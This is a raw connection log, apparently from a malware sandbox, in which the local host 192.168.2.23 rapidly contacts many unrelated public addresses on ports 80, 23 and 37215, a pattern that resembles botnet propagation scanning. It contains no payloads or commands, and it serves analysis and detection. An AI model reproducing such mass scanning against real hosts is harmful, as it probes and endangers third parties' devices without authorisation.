Dec 3, 2024 22:16:50.668960094 CET	54040	80	192.168.2.23	13.77.179.192
Dec 3, 2024 22:16:50.668966055 CET	43666	80	192.168.2.23	115.161.242.231
Dec 3, 2024 22:16:50.668976068 CET	39548	37215	192.168.2.23	156.81.76.10
Dec 3, 2024 22:16:50.668982983 CET	80	36450	148.77.50.206	192.168.2.23
Dec 3, 2024 22:16:50.668989897 CET	42972	80	192.168.2.23	200.134.217.200
Dec 3, 2024 22:16:50.668994904 CET	80	51164	189.63.67.242	192.168.2.23
Dec 3, 2024 22:16:50.669028997 CET	51164	80	192.168.2.23	189.63.67.242
Dec 3, 2024 22:16:50.669044018 CET	36450	80	192.168.2.23	148.77.50.206
Dec 3, 2024 22:16:50.669044018 CET	36450	80	192.168.2.23	148.77.50.206
Dec 3, 2024 22:16:50.669047117 CET	51164	80	192.168.2.23	189.63.67.242
Dec 3, 2024 22:16:50.669065952 CET	80	45882	1.78.144.178	192.168.2.23
Dec 3, 2024 22:16:50.669114113 CET	45882	80	192.168.2.23	1.78.144.178
Dec 3, 2024 22:16:50.669116974 CET	80	34400	133.151.36.237	192.168.2.23
Dec 3, 2024 22:16:50.669157028 CET	34400	80	192.168.2.23	133.151.36.237
Dec 3, 2024 22:16:50.669159889 CET	45882	80	192.168.2.23	1.78.144.178
Dec 3, 2024 22:16:50.669163942 CET	37215	44982	156.101.171.54	192.168.2.23
Dec 3, 2024 22:16:50.669174910 CET	80	56726	163.247.225.173	192.168.2.23
Dec 3, 2024 22:16:50.669174910 CET	34400	80	192.168.2.23	133.151.36.237
Dec 3, 2024 22:16:50.669183016 CET	80	54894	137.84.118.55	192.168.2.23
Dec 3, 2024 22:16:50.669213057 CET	80	59846	89.148.112.82	192.168.2.23
Dec 3, 2024 22:16:50.669217110 CET	56726	80	192.168.2.23	163.247.225.173
Dec 3, 2024 22:16:50.669222116 CET	80	56748	201.216.93.118	192.168.2.23
Dec 3, 2024 22:16:50.669234037 CET	44982	37215	192.168.2.23	156.101.171.54
Dec 3, 2024 22:16:50.669238091 CET	54894	80	192.168.2.23	137.84.118.55
Dec 3, 2024 22:16:50.669253111 CET	59846	80	192.168.2.23	89.148.112.82
Dec 3, 2024 22:16:50.669254065 CET	80	54702	89.199.198.11	192.168.2.23
Dec 3, 2024 22:16:50.669262886 CET	56748	80	192.168.2.23	201.216.93.118
Dec 3, 2024 22:16:50.669295073 CET	56726	80	192.168.2.23	163.247.225.173
Dec 3, 2024 22:16:50.669296026 CET	54702	80	192.168.2.23	89.199.198.11
Dec 3, 2024 22:16:50.669300079 CET	54894	80	192.168.2.23	137.84.118.55
Dec 3, 2024 22:16:50.669318914 CET	54702	80	192.168.2.23	89.199.198.11
Dec 3, 2024 22:16:50.669318914 CET	59846	80	192.168.2.23	89.148.112.82
Dec 3, 2024 22:16:50.669334888 CET	56748	80	192.168.2.23	201.216.93.118
Dec 3, 2024 22:16:50.669336081 CET	80	43076	86.87.136.30	192.168.2.23
Dec 3, 2024 22:16:50.669343948 CET	80	42066	86.199.183.40	192.168.2.23
Dec 3, 2024 22:16:50.669353008 CET	80	36130	112.106.103.207	192.168.2.23
Dec 3, 2024 22:16:50.669363022 CET	37215	57304	197.132.62.119	192.168.2.23
Dec 3, 2024 22:16:50.669372082 CET	80	41798	202.130.12.212	192.168.2.23
Dec 3, 2024 22:16:50.669373989 CET	43076	80	192.168.2.23	86.87.136.30
Dec 3, 2024 22:16:50.669389963 CET	42066	80	192.168.2.23	86.199.183.40
Dec 3, 2024 22:16:50.669393063 CET	36130	80	192.168.2.23	112.106.103.207
Dec 3, 2024 22:16:50.669394970 CET	57304	37215	192.168.2.23	197.132.62.119
Dec 3, 2024 22:16:50.669397116 CET	80	46514	120.53.85.174	192.168.2.23
Dec 3, 2024 22:16:50.669406891 CET	80	39718	150.32.225.133	192.168.2.23
Dec 3, 2024 22:16:50.669414043 CET	41798	80	192.168.2.23	202.130.12.212
Dec 3, 2024 22:16:50.669414043 CET	36130	80	192.168.2.23	112.106.103.207
Dec 3, 2024 22:16:50.669428110 CET	39718	80	192.168.2.23	150.32.225.133
Dec 3, 2024 22:16:50.669433117 CET	43076	80	192.168.2.23	86.87.136.30
Dec 3, 2024 22:16:50.669441938 CET	38322	37215	192.168.2.23	41.7.124.25
Dec 3, 2024 22:16:50.669457912 CET	46514	80	192.168.2.23	120.53.85.174
Dec 3, 2024 22:16:50.669461012 CET	42066	80	192.168.2.23	86.199.183.40
Dec 3, 2024 22:16:50.669476986 CET	41798	80	192.168.2.23	202.130.12.212
Dec 3, 2024 22:16:50.669486046 CET	39718	80	192.168.2.23	150.32.225.133
Dec 3, 2024 22:16:50.669502020 CET	46514	80	192.168.2.23	120.53.85.174
Dec 3, 2024 22:16:50.669837952 CET	44982	37215	192.168.2.23	156.101.171.54
Dec 3, 2024 22:16:50.669842005 CET	56452	37215	192.168.2.23	197.193.108.120
Dec 3, 2024 22:16:50.669842005 CET	56452	37215	192.168.2.23	197.193.108.120
Dec 3, 2024 22:16:50.670099020 CET	80	60136	8.163.124.143	192.168.2.23
Dec 3, 2024 22:16:50.670136929 CET	60136	80	192.168.2.23	8.163.124.143
Dec 3, 2024 22:16:50.670156956 CET	60136	80	192.168.2.23	8.163.124.143
Dec 3, 2024 22:16:50.670170069 CET	80	51882	120.125.222.84	192.168.2.23
Dec 3, 2024 22:16:50.670178890 CET	37215	39518	156.170.127.69	192.168.2.23
Dec 3, 2024 22:16:50.670178890 CET	56594	37215	192.168.2.23	197.193.108.120
Dec 3, 2024 22:16:50.670183897 CET	80	35922	159.216.106.173	192.168.2.23
Dec 3, 2024 22:16:50.670188904 CET	37215	33370	41.30.218.207	192.168.2.23
Dec 3, 2024 22:16:50.670198917 CET	37215	42194	197.26.74.237	192.168.2.23
Dec 3, 2024 22:16:50.670207024 CET	51882	80	192.168.2.23	120.125.222.84
Dec 3, 2024 22:16:50.670207024 CET	39518	37215	192.168.2.23	156.170.127.69
Dec 3, 2024 22:16:50.670222044 CET	35922	80	192.168.2.23	159.216.106.173
Dec 3, 2024 22:16:50.670222044 CET	33370	37215	192.168.2.23	41.30.218.207
Dec 3, 2024 22:16:50.670237064 CET	42194	37215	192.168.2.23	197.26.74.237
Dec 3, 2024 22:16:50.670248985 CET	23	37963	70.202.144.119	192.168.2.23
Dec 3, 2024 22:16:50.670259953 CET	51882	80	192.168.2.23	120.125.222.84
Dec 3, 2024 22:16:50.670279026 CET	23	37963	90.65.99.58	192.168.2.23
Dec 3, 2024 22:16:50.670289040 CET	23	37963	175.192.106.239	192.168.2.23
Dec 3, 2024 22:16:50.670291901 CET	37963	23	192.168.2.23	70.202.144.119
Dec 3, 2024 22:16:50.670295000 CET	35922	80	192.168.2.23	159.216.106.173
Dec 3, 2024 22:16:50.670300961 CET	23	37963	35.14.215.130	192.168.2.23
Dec 3, 2024 22:16:50.670317888 CET	23	37963	31.77.163.243	192.168.2.23
Dec 3, 2024 22:16:50.670339108 CET	37963	23	192.168.2.23	175.192.106.239
Dec 3, 2024 22:16:50.670339108 CET	37963	23	192.168.2.23	35.14.215.130
Dec 3, 2024 22:16:50.670351982 CET	37963	23	192.168.2.23	90.65.99.58
Dec 3, 2024 22:16:50.670361996 CET	23	37963	189.173.20.123	192.168.2.23
Dec 3, 2024 22:16:50.670372963 CET	23	37963	1.181.170.82	192.168.2.23
Dec 3, 2024 22:16:50.670381069 CET	23	37963	211.15.9.29	192.168.2.23
Dec 3, 2024 22:16:50.670384884 CET	37963	23	192.168.2.23	31.77.163.243
Dec 3, 2024 22:16:50.670396090 CET	23	37963	183.19.25.29	192.168.2.23
Dec 3, 2024 22:16:50.670398951 CET	37963	23	192.168.2.23	189.173.20.123
Dec 3, 2024 22:16:50.670406103 CET	23	37963	89.105.219.243	192.168.2.23
Dec 3, 2024 22:16:50.670412064 CET	37963	23	192.168.2.23	211.15.9.29
Dec 3, 2024 22:16:50.670413017 CET	37963	23	192.168.2.23	1.181.170.82
Dec 3, 2024 22:16:50.670416117 CET	23	37963	9.154.23.52	192.168.2.23
Dec 3, 2024 22:16:50.670423031 CET	37963	23	192.168.2.23	183.19.25.29
Dec 3, 2024 22:16:50.670427084 CET	23	37963	23.206.12.43	192.168.2.23
Dec 3, 2024 22:16:50.670434952 CET	37963	23	192.168.2.23	89.105.219.243
Dec 3, 2024 22:16:50.670437098 CET	23	37963	38.91.26.156	192.168.2.23
Dec 3, 2024 22:16:50.670445919 CET	23	37963	92.220.124.221	192.168.2.23
Dec 3, 2024 22:16:50.670452118 CET	37963	23	192.168.2.23	9.154.23.52
Dec 3, 2024 22:16:50.670458078 CET	37963	23	192.168.2.23	23.206.12.43
Dec 3, 2024 22:16:50.670475960 CET	37963	23	192.168.2.23	38.91.26.156
Dec 3, 2024 22:16:50.670475960 CET	37963	23	192.168.2.23	92.220.124.221
Dec 3, 2024 22:16:50.670548916 CET	23	37963	133.115.96.253	192.168.2.23
Dec 3, 2024 22:16:50.670558929 CET	23	37963	204.138.152.126	192.168.2.23
Dec 3, 2024 22:16:50.670569897 CET	53450	37215	192.168.2.23	197.166.40.133
Dec 3, 2024 22:16:50.670569897 CET	53450	37215	192.168.2.23	197.166.40.133
Dec 3, 2024 22:16:50.670572996 CET	23	37963	80.163.138.181	192.168.2.23
Dec 3, 2024 22:16:50.670588970 CET	37963	23	192.168.2.23	133.115.96.253
Dec 3, 2024 22:16:50.670589924 CET	23	37963	150.197.178.234	192.168.2.23
Dec 3, 2024 22:16:50.670588970 CET	37963	23	192.168.2.23	204.138.152.126
Dec 3, 2024 22:16:50.670598030 CET	23	37963	194.47.107.254	192.168.2.23
Dec 3, 2024 22:16:50.670607090 CET	23	37963	162.183.62.151	192.168.2.23
Dec 3, 2024 22:16:50.670617104 CET	37963	23	192.168.2.23	80.163.138.181
Dec 3, 2024 22:16:50.670630932 CET	37963	23	192.168.2.23	150.197.178.234
Dec 3, 2024 22:16:50.670630932 CET	37963	23	192.168.2.23	194.47.107.254
Dec 3, 2024 22:16:50.670655012 CET	37963	23	192.168.2.23	162.183.62.151
Dec 3, 2024 22:16:50.670876980 CET	53584	37215	192.168.2.23	197.166.40.133
Dec 3, 2024 22:16:50.670943975 CET	23	37963	32.154.92.59	192.168.2.23
Dec 3, 2024 22:16:50.670988083 CET	37963	23	192.168.2.23	32.154.92.59
Dec 3, 2024 22:16:50.670993090 CET	23	37963	182.10.70.63	192.168.2.23
Dec 3, 2024 22:16:50.671034098 CET	37963	23	192.168.2.23	182.10.70.63
Dec 3, 2024 22:16:50.671061993 CET	23	37963	212.10.70.126	192.168.2.23
Dec 3, 2024 22:16:50.671072006 CET	23	37963	62.250.219.230	192.168.2.23
Dec 3, 2024 22:16:50.671080112 CET	23	37963	135.97.95.94	192.168.2.23
Dec 3, 2024 22:16:50.671088934 CET	23	37963	191.240.96.145	192.168.2.23
Dec 3, 2024 22:16:50.671093941 CET	37963	23	192.168.2.23	212.10.70.126
Dec 3, 2024 22:16:50.671097994 CET	23	37963	206.110.226.238	192.168.2.23
Dec 3, 2024 22:16:50.671108961 CET	23	37963	81.23.162.184	192.168.2.23
Dec 3, 2024 22:16:50.671111107 CET	37963	23	192.168.2.23	62.250.219.230
Dec 3, 2024 22:16:50.671112061 CET	37963	23	192.168.2.23	135.97.95.94
Dec 3, 2024 22:16:50.671118021 CET	23	37963	220.140.41.2	192.168.2.23
Dec 3, 2024 22:16:50.671125889 CET	23	37963	107.160.145.175	192.168.2.23
Dec 3, 2024 22:16:50.671137094 CET	37963	23	192.168.2.23	81.23.162.184
Dec 3, 2024 22:16:50.671138048 CET	37963	23	192.168.2.23	206.110.226.238
Dec 3, 2024 22:16:50.671142101 CET	23	37963	32.83.253.105	192.168.2.23
Dec 3, 2024 22:16:50.671153069 CET	23	37963	169.47.133.131	192.168.2.23
Dec 3, 2024 22:16:50.671153069 CET	37963	23	192.168.2.23	191.240.96.145
Dec 3, 2024 22:16:50.671160936 CET	37963	23	192.168.2.23	107.160.145.175
Dec 3, 2024 22:16:50.671160936 CET	37963	23	192.168.2.23	220.140.41.2
Dec 3, 2024 22:16:50.671173096 CET	23	37963	46.193.190.157	192.168.2.23
Dec 3, 2024 22:16:50.671180010 CET	37963	23	192.168.2.23	32.83.253.105
Dec 3, 2024 22:16:50.671181917 CET	23	37963	189.254.95.238	192.168.2.23
Dec 3, 2024 22:16:50.671191931 CET	23	37963	79.182.29.60	192.168.2.23
Dec 3, 2024 22:16:50.671194077 CET	37963	23	192.168.2.23	169.47.133.131
Dec 3, 2024 22:16:50.671202898 CET	23	37963	165.241.63.196	192.168.2.23
Dec 3, 2024 22:16:50.671212912 CET	37963	23	192.168.2.23	46.193.190.157
Dec 3, 2024 22:16:50.671212912 CET	23	37963	210.38.184.2	192.168.2.23
Dec 3, 2024 22:16:50.671215057 CET	37963	23	192.168.2.23	189.254.95.238
Dec 3, 2024 22:16:50.671222925 CET	23	37963	124.252.29.114	192.168.2.23
Dec 3, 2024 22:16:50.671231985 CET	23	37963	220.75.73.63	192.168.2.23
Dec 3, 2024 22:16:50.671233892 CET	37963	23	192.168.2.23	165.241.63.196
Dec 3, 2024 22:16:50.671235085 CET	37963	23	192.168.2.23	79.182.29.60
Dec 3, 2024 22:16:50.671242952 CET	23	37963	84.231.23.249	192.168.2.23
Dec 3, 2024 22:16:50.671246052 CET	37963	23	192.168.2.23	210.38.184.2
Dec 3, 2024 22:16:50.671264887 CET	37963	23	192.168.2.23	220.75.73.63
Dec 3, 2024 22:16:50.671272039 CET	37963	23	192.168.2.23	124.252.29.114
Dec 3, 2024 22:16:50.671274900 CET	37963	23	192.168.2.23	84.231.23.249
Dec 3, 2024 22:16:50.671344042 CET	57304	37215	192.168.2.23	197.132.62.119
Dec 3, 2024 22:16:50.671344042 CET	57304	37215	192.168.2.23	197.132.62.119
Dec 3, 2024 22:16:50.671449900 CET	23	37963	149.165.226.240	192.168.2.23
Dec 3, 2024 22:16:50.671516895 CET	37963	23	192.168.2.23	149.165.226.240
Dec 3, 2024 22:16:50.671636105 CET	57434	37215	192.168.2.23	197.132.62.119
Dec 3, 2024 22:16:50.672044039 CET	39548	37215	192.168.2.23	156.81.76.10
Dec 3, 2024 22:16:50.672044039 CET	39548	37215	192.168.2.23	156.81.76.10
Dec 3, 2024 22:16:50.672334909 CET	39678	37215	192.168.2.23	156.81.76.10
Dec 3, 2024 22:16:50.672730923 CET	42194	37215	192.168.2.23	197.26.74.237
Dec 3, 2024 22:16:50.672730923 CET	42194	37215	192.168.2.23	197.26.74.237
Dec 3, 2024 22:16:50.673032045 CET	42340	37215	192.168.2.23	197.26.74.237
Dec 3, 2024 22:16:50.673397064 CET	33370	37215	192.168.2.23	41.30.218.207
Dec 3, 2024 22:16:50.673397064 CET	33370	37215	192.168.2.23	41.30.218.207
Dec 3, 2024 22:16:50.673700094 CET	33510	37215	192.168.2.23	41.30.218.207
Dec 3, 2024 22:16:50.674081087 CET	39518	37215	192.168.2.23	156.170.127.69
Dec 3, 2024 22:16:50.674081087 CET	39518	37215	192.168.2.23	156.170.127.69
Dec 3, 2024 22:16:50.674381971 CET	39650	37215	192.168.2.23	156.170.127.69
Dec 3, 2024 22:16:50.699718952 CET	80	37488	52.147.152.231	192.168.2.23
Dec 3, 2024 22:16:50.699738979 CET	80	38280	208.170.5.222	192.168.2.23
Dec 3, 2024 22:16:50.699749947 CET	80	53250	83.119.82.146	192.168.2.23
Dec 3, 2024 22:16:50.699784040 CET	37488	80	192.168.2.23	52.147.152.231
Dec 3, 2024 22:16:50.699784040 CET	53250	80	192.168.2.23	83.119.82.146
Dec 3, 2024 22:16:50.699788094 CET	38280	80	192.168.2.23	208.170.5.222
Dec 3, 2024 22:16:50.699810028 CET	53250	80	192.168.2.23	83.119.82.146
Dec 3, 2024 22:16:50.699812889 CET	38280	80	192.168.2.23	208.170.5.222
Dec 3, 2024 22:16:50.699816942 CET	37488	80	192.168.2.23	52.147.152.231
Dec 3, 2024 22:16:50.756563902 CET	80	37707	157.200.164.96	192.168.2.23
Dec 3, 2024 22:16:50.756584883 CET	80	37707	111.211.175.160	192.168.2.23
Dec 3, 2024 22:16:50.756592989 CET	80	37707	110.174.211.110	192.168.2.23
Dec 3, 2024 22:16:50.756649017 CET	80	37707	157.8.141.192	192.168.2.23
Dec 3, 2024 22:16:50.756658077 CET	80	37707	221.128.53.64	192.168.2.23
Dec 3, 2024 22:16:50.756748915 CET	37707	80	192.168.2.23	157.200.164.96
Dec 3, 2024 22:16:50.756758928 CET	37707	80	192.168.2.23	111.211.175.160
Dec 3, 2024 22:16:50.756758928 CET	37707	80	192.168.2.23	110.174.211.110
Dec 3, 2024 22:16:50.756758928 CET	37707	80	192.168.2.23	221.128.53.64
Dec 3, 2024 22:16:50.756758928 CET	37707	80	192.168.2.23	157.8.141.192
Dec 3, 2024 22:16:50.756767035 CET	80	54246	219.159.129.91	192.168.2.23
Dec 3, 2024 22:16:50.756800890 CET	54246	80	192.168.2.23	219.159.129.91
Dec 3, 2024 22:16:50.757191896 CET	80	50974	106.119.111.49	192.168.2.23
Dec 3, 2024 22:16:50.757241011 CET	50974	80	192.168.2.23	106.119.111.49
Dec 3, 2024 22:16:50.757749081 CET	80	43108	126.110.141.44	192.168.2.23
Dec 3, 2024 22:16:50.757787943 CET	43108	80	192.168.2.23	126.110.141.44
Dec 3, 2024 22:16:50.758102894 CET	80	52334	115.64.13.91	192.168.2.23
Dec 3, 2024 22:16:50.758141041 CET	52334	80	192.168.2.23	115.64.13.91
Dec 3, 2024 22:16:50.758728981 CET	80	46564	59.87.238.43	192.168.2.23
Dec 3, 2024 22:16:50.758773088 CET	46564	80	192.168.2.23	59.87.238.43
Dec 3, 2024 22:16:50.759175062 CET	80	36392	161.83.220.85	192.168.2.23
Dec 3, 2024 22:16:50.759217978 CET	36392	80	192.168.2.23	161.83.220.85
Dec 3, 2024 22:16:50.759352922 CET	80	35902	44.223.88.222	192.168.2.23
Dec 3, 2024 22:16:50.759391069 CET	35902	80	192.168.2.23	44.223.88.222
Dec 3, 2024 22:16:50.771742105 CET	42836	443	192.168.2.23	91.189.91.43
Dec 3, 2024 22:16:50.788402081 CET	37215	37451	41.145.183.178	192.168.2.23
Dec 3, 2024 22:16:50.788567066 CET	37451	37215	192.168.2.23	41.145.183.178
Dec 3, 2024 22:16:50.789175987 CET	37215	37451	197.85.75.36	192.168.2.23
Dec 3, 2024 22:16:50.789185047 CET	37215	37451	197.235.112.160	192.168.2.23
Dec 3, 2024 22:16:50.789197922 CET	37215	37451	197.105.173.170	192.168.2.23
Dec 3, 2024 22:16:50.789232969 CET	37451	37215	192.168.2.23	197.235.112.160
Dec 3, 2024 22:16:50.789232969 CET	37451	37215	192.168.2.23	197.105.173.170
Dec 3, 2024 22:16:50.789235115 CET	37451	37215	192.168.2.23	197.85.75.36
Dec 3, 2024 22:16:50.789407969 CET	37215	38188	41.7.124.25	192.168.2.23
Dec 3, 2024 22:16:50.789980888 CET	80	56106	50.18.129.224	192.168.2.23
Dec 3, 2024 22:16:50.790024042 CET	56106	80	192.168.2.23	50.18.129.224
Dec 3, 2024 22:16:50.790313005 CET	80	35864	19.67.64.37	192.168.2.23
Dec 3, 2024 22:16:50.790332079 CET	37215	56452	197.193.108.120	192.168.2.23
Dec 3, 2024 22:16:50.790364981 CET	35864	80	192.168.2.23	19.67.64.37
Dec 3, 2024 22:16:50.791068077 CET	80	34096	51.0.21.42	192.168.2.23
Dec 3, 2024 22:16:50.791085005 CET	37215	53450	197.166.40.133	192.168.2.23
Dec 3, 2024 22:16:50.791152000 CET	34096	80	192.168.2.23	51.0.21.42
Dec 3, 2024 22:16:50.791492939 CET	80	38314	159.180.151.117	192.168.2.23
Dec 3, 2024 22:16:50.791541100 CET	38314	80	192.168.2.23	159.180.151.117
Dec 3, 2024 22:16:50.791847944 CET	80	57862	117.255.80.131	192.168.2.23
Dec 3, 2024 22:16:50.791887999 CET	57862	80	192.168.2.23	117.255.80.131
Dec 3, 2024 22:16:50.792269945 CET	80	56234	70.48.67.132	192.168.2.23
Dec 3, 2024 22:16:50.792310953 CET	56234	80	192.168.2.23	70.48.67.132
Dec 3, 2024 22:16:50.792571068 CET	80	49596	156.47.9.159	192.168.2.23
Dec 3, 2024 22:16:50.792606115 CET	49596	80	192.168.2.23	156.47.9.159
Dec 3, 2024 22:16:50.792937994 CET	80	52376	101.26.29.84	192.168.2.23
Dec 3, 2024 22:16:50.792972088 CET	52376	80	192.168.2.23	101.26.29.84
Dec 3, 2024 22:16:50.793662071 CET	80	42972	200.134.217.200	192.168.2.23
Dec 3, 2024 22:16:50.793704987 CET	42972	80	192.168.2.23	200.134.217.200
Dec 3, 2024 22:16:50.794009924 CET	80	50448	178.167.225.20	192.168.2.23
Dec 3, 2024 22:16:50.794054985 CET	50448	80	192.168.2.23	178.167.225.20
Dec 3, 2024 22:16:50.794343948 CET	80	54040	13.77.179.192	192.168.2.23
Dec 3, 2024 22:16:50.794379950 CET	54040	80	192.168.2.23	13.77.179.192
Dec 3, 2024 22:16:50.794673920 CET	80	43666	115.161.242.231	192.168.2.23
Dec 3, 2024 22:16:50.794708014 CET	43666	80	192.168.2.23	115.161.242.231
Dec 3, 2024 22:16:50.795521021 CET	80	35922	159.216.106.173	192.168.2.23
Dec 3, 2024 22:16:50.795537949 CET	80	51882	120.125.222.84	192.168.2.23
Dec 3, 2024 22:16:50.795597076 CET	80	60136	8.163.124.143	192.168.2.23
Dec 3, 2024 22:16:50.795604944 CET	37215	44982	156.101.171.54	192.168.2.23
Dec 3, 2024 22:16:50.795645952 CET	80	46514	120.53.85.174	192.168.2.23
Dec 3, 2024 22:16:50.795654058 CET	80	39718	150.32.225.133	192.168.2.23
Dec 3, 2024 22:16:50.795663118 CET	80	41798	202.130.12.212	192.168.2.23
Dec 3, 2024 22:16:50.795722008 CET	80	42066	86.199.183.40	192.168.2.23
Dec 3, 2024 22:16:50.795730114 CET	80	43076	86.87.136.30	192.168.2.23
Dec 3, 2024 22:16:50.795737982 CET	80	36130	112.106.103.207	192.168.2.23
Dec 3, 2024 22:16:50.795774937 CET	80	56748	201.216.93.118	192.168.2.23
Dec 3, 2024 22:16:50.795845032 CET	80	59846	89.148.112.82	192.168.2.23
Dec 3, 2024 22:16:50.795854092 CET	80	54702	89.199.198.11	192.168.2.23
Dec 3, 2024 22:16:50.795886040 CET	80	54894	137.84.118.55	192.168.2.23
Dec 3, 2024 22:16:50.796055079 CET	80	56726	163.247.225.173	192.168.2.23
Dec 3, 2024 22:16:50.796092987 CET	80	34400	133.151.36.237	192.168.2.23
Dec 3, 2024 22:16:50.796103001 CET	80	45882	1.78.144.178	192.168.2.23
Dec 3, 2024 22:16:50.796176910 CET	80	36450	148.77.50.206	192.168.2.23
Dec 3, 2024 22:16:50.796185970 CET	80	51164	189.63.67.242	192.168.2.23
Dec 3, 2024 22:16:50.796194077 CET	80	51164	189.63.67.242	192.168.2.23
Dec 3, 2024 22:16:50.796225071 CET	51164	80	192.168.2.23	189.63.67.242
Dec 3, 2024 22:16:50.796669006 CET	80	36450	148.77.50.206	192.168.2.23
Dec 3, 2024 22:16:50.796708107 CET	36450	80	192.168.2.23	148.77.50.206
Dec 3, 2024 22:16:50.797422886 CET	80	45882	1.78.144.178	192.168.2.23
Dec 3, 2024 22:16:50.797466993 CET	45882	80	192.168.2.23	1.78.144.178
Dec 3, 2024 22:16:50.798074007 CET	80	34400	133.151.36.237	192.168.2.23
Dec 3, 2024 22:16:50.798110962 CET	34400	80	192.168.2.23	133.151.36.237
Dec 3, 2024 22:16:50.798430920 CET	80	56726	163.247.225.173	192.168.2.23
Dec 3, 2024 22:16:50.798466921 CET	56726	80	192.168.2.23	163.247.225.173
Dec 3, 2024 22:16:50.811069012 CET	37215	44982	156.101.171.54	192.168.2.23
Dec 3, 2024 22:16:50.811108112 CET	44982	37215	192.168.2.23	156.101.171.54
Dec 3, 2024 22:16:50.813028097 CET	80	54894	137.84.118.55	192.168.2.23
Dec 3, 2024 22:16:50.813180923 CET	54894	80	192.168.2.23	137.84.118.55
Dec 3, 2024 22:16:50.813446999 CET	80	59846	89.148.112.82	192.168.2.23
Dec 3, 2024 22:16:50.813484907 CET	59846	80	192.168.2.23	89.148.112.82
Dec 3, 2024 22:16:50.813821077 CET	80	56748	201.216.93.118	192.168.2.23
Dec 3, 2024 22:16:50.813863039 CET	56748	80	192.168.2.23	201.216.93.118
Dec 3, 2024 22:16:50.814210892 CET	80	54702	89.199.198.11	192.168.2.23
Dec 3, 2024 22:16:50.814249039 CET	54702	80	192.168.2.23	89.199.198.11
Dec 3, 2024 22:16:50.814534903 CET	80	43076	86.87.136.30	192.168.2.23
Dec 3, 2024 22:16:50.814569950 CET	43076	80	192.168.2.23	86.87.136.30
Dec 3, 2024 22:16:50.814841986 CET	80	42066	86.199.183.40	192.168.2.23
Dec 3, 2024 22:16:50.814881086 CET	42066	80	192.168.2.23	86.199.183.40
Dec 3, 2024 22:16:50.815103054 CET	80	36130	112.106.103.207	192.168.2.23
Dec 3, 2024 22:16:50.815140009 CET	36130	80	192.168.2.23	112.106.103.207
Dec 3, 2024 22:16:50.815567970 CET	80	41798	202.130.12.212	192.168.2.23
Dec 3, 2024 22:16:50.815604925 CET	41798	80	192.168.2.23	202.130.12.212
Dec 3, 2024 22:16:50.815885067 CET	80	39718	150.32.225.133	192.168.2.23
Dec 3, 2024 22:16:50.815918922 CET	39718	80	192.168.2.23	150.32.225.133
Dec 3, 2024 22:16:50.816169977 CET	80	46514	120.53.85.174	192.168.2.23
Dec 3, 2024 22:16:50.816211939 CET	46514	80	192.168.2.23	120.53.85.174
Dec 3, 2024 22:16:50.816416979 CET	80	60136	8.163.124.143	192.168.2.23
Dec 3, 2024 22:16:50.816454887 CET	60136	80	192.168.2.23	8.163.124.143
Dec 3, 2024 22:16:50.816629887 CET	80	51882	120.125.222.84	192.168.2.23
Dec 3, 2024 22:16:50.816669941 CET	51882	80	192.168.2.23	120.125.222.84
Dec 3, 2024 22:16:50.817177057 CET	80	35922	159.216.106.173	192.168.2.23
Dec 3, 2024 22:16:50.817212105 CET	35922	80	192.168.2.23	159.216.106.173
Dec 3, 2024 22:16:50.820110083 CET	37215	57304	197.132.62.119	192.168.2.23
Dec 3, 2024 22:16:50.820120096 CET	37215	39548	156.81.76.10	192.168.2.23
Dec 3, 2024 22:16:50.820204973 CET	37215	42194	197.26.74.237	192.168.2.23
Dec 3, 2024 22:16:50.820228100 CET	37215	33370	41.30.218.207	192.168.2.23
Dec 3, 2024 22:16:50.820277929 CET	37215	39518	156.170.127.69	192.168.2.23
Dec 3, 2024 22:16:50.831520081 CET	37215	53450	197.166.40.133	192.168.2.23
Dec 3, 2024 22:16:50.831530094 CET	37215	56452	197.193.108.120	192.168.2.23
Dec 3, 2024 22:16:50.831563950 CET	37215	38188	41.7.124.25	192.168.2.23
Dec 3, 2024 22:16:50.863702059 CET	37215	39518	156.170.127.69	192.168.2.23
Dec 3, 2024 22:16:50.863728046 CET	37215	33370	41.30.218.207	192.168.2.23
Dec 3, 2024 22:16:50.863737106 CET	37215	42194	197.26.74.237	192.168.2.23
Dec 3, 2024 22:16:50.863744974 CET	37215	39548	156.81.76.10	192.168.2.23
Dec 3, 2024 22:16:50.863754988 CET	37215	57304	197.132.62.119	192.168.2.23
Dec 3, 2024 22:16:50.876687050 CET	80	37488	52.147.152.231	192.168.2.23
Dec 3, 2024 22:16:50.876800060 CET	37488	80	192.168.2.23	52.147.152.231
Dec 3, 2024 22:16:50.877150059 CET	80	53250	83.119.82.146	192.168.2.23
Dec 3, 2024 22:16:50.877305031 CET	53250	80	192.168.2.23	83.119.82.146
Dec 3, 2024 22:16:50.877324104 CET	80	38280	208.170.5.222	192.168.2.23
Dec 3, 2024 22:16:50.877368927 CET	38280	80	192.168.2.23	208.170.5.222
Dec 3, 2024 22:16:51.411783934 CET	44830	80	192.168.2.23	23.93.194.133
Dec 3, 2024 22:16:51.411783934 CET	40276	80	192.168.2.23	8.43.2.155
Dec 3, 2024 22:16:51.411783934 CET	34482	80	192.168.2.23	64.69.46.207
Dec 3, 2024 22:16:51.411798000 CET	60176	80	192.168.2.23	99.212.18.166
Dec 3, 2024 22:16:51.411799908 CET	33488	80	192.168.2.23	125.111.75.105
Dec 3, 2024 22:16:51.411803007 CET	34760	80	192.168.2.23	210.36.162.136
Dec 3, 2024 22:16:51.411854029 CET	37176	80	192.168.2.23	1.252.247.68
Dec 3, 2024 22:16:51.443794966 CET	55086	80	192.168.2.23	2.233.134.116
Dec 3, 2024 22:16:51.443794966 CET	49154	80	192.168.2.23	107.229.45.191
Dec 3, 2024 22:16:51.443798065 CET	40132	80	192.168.2.23	128.106.21.141
Dec 3, 2024 22:16:51.443798065 CET	54072	80	192.168.2.23	194.18.61.94
Dec 3, 2024 22:16:51.443798065 CET	56424	80	192.168.2.23	145.20.17.13
Dec 3, 2024 22:16:51.443798065 CET	36864	80	192.168.2.23	159.157.188.52
Dec 3, 2024 22:16:51.443798065 CET	60086	80	192.168.2.23	176.10.51.162
Dec 3, 2024 22:16:51.443802118 CET	34848	80	192.168.2.23	73.104.148.95
Dec 3, 2024 22:16:51.443802118 CET	55390	80	192.168.2.23	103.104.235.120
Dec 3, 2024 22:16:51.443800926 CET	33352	80	192.168.2.23	213.75.138.155
Dec 3, 2024 22:16:51.443802118 CET	41618	80	192.168.2.23	101.211.231.251
Dec 3, 2024 22:16:51.443814039 CET	44762	80	192.168.2.23	201.157.7.217
Dec 3, 2024 22:16:51.443820953 CET	51820	80	192.168.2.23	110.23.29.220
Dec 3, 2024 22:16:51.443828106 CET	45994	80	192.168.2.23	93.104.201.65
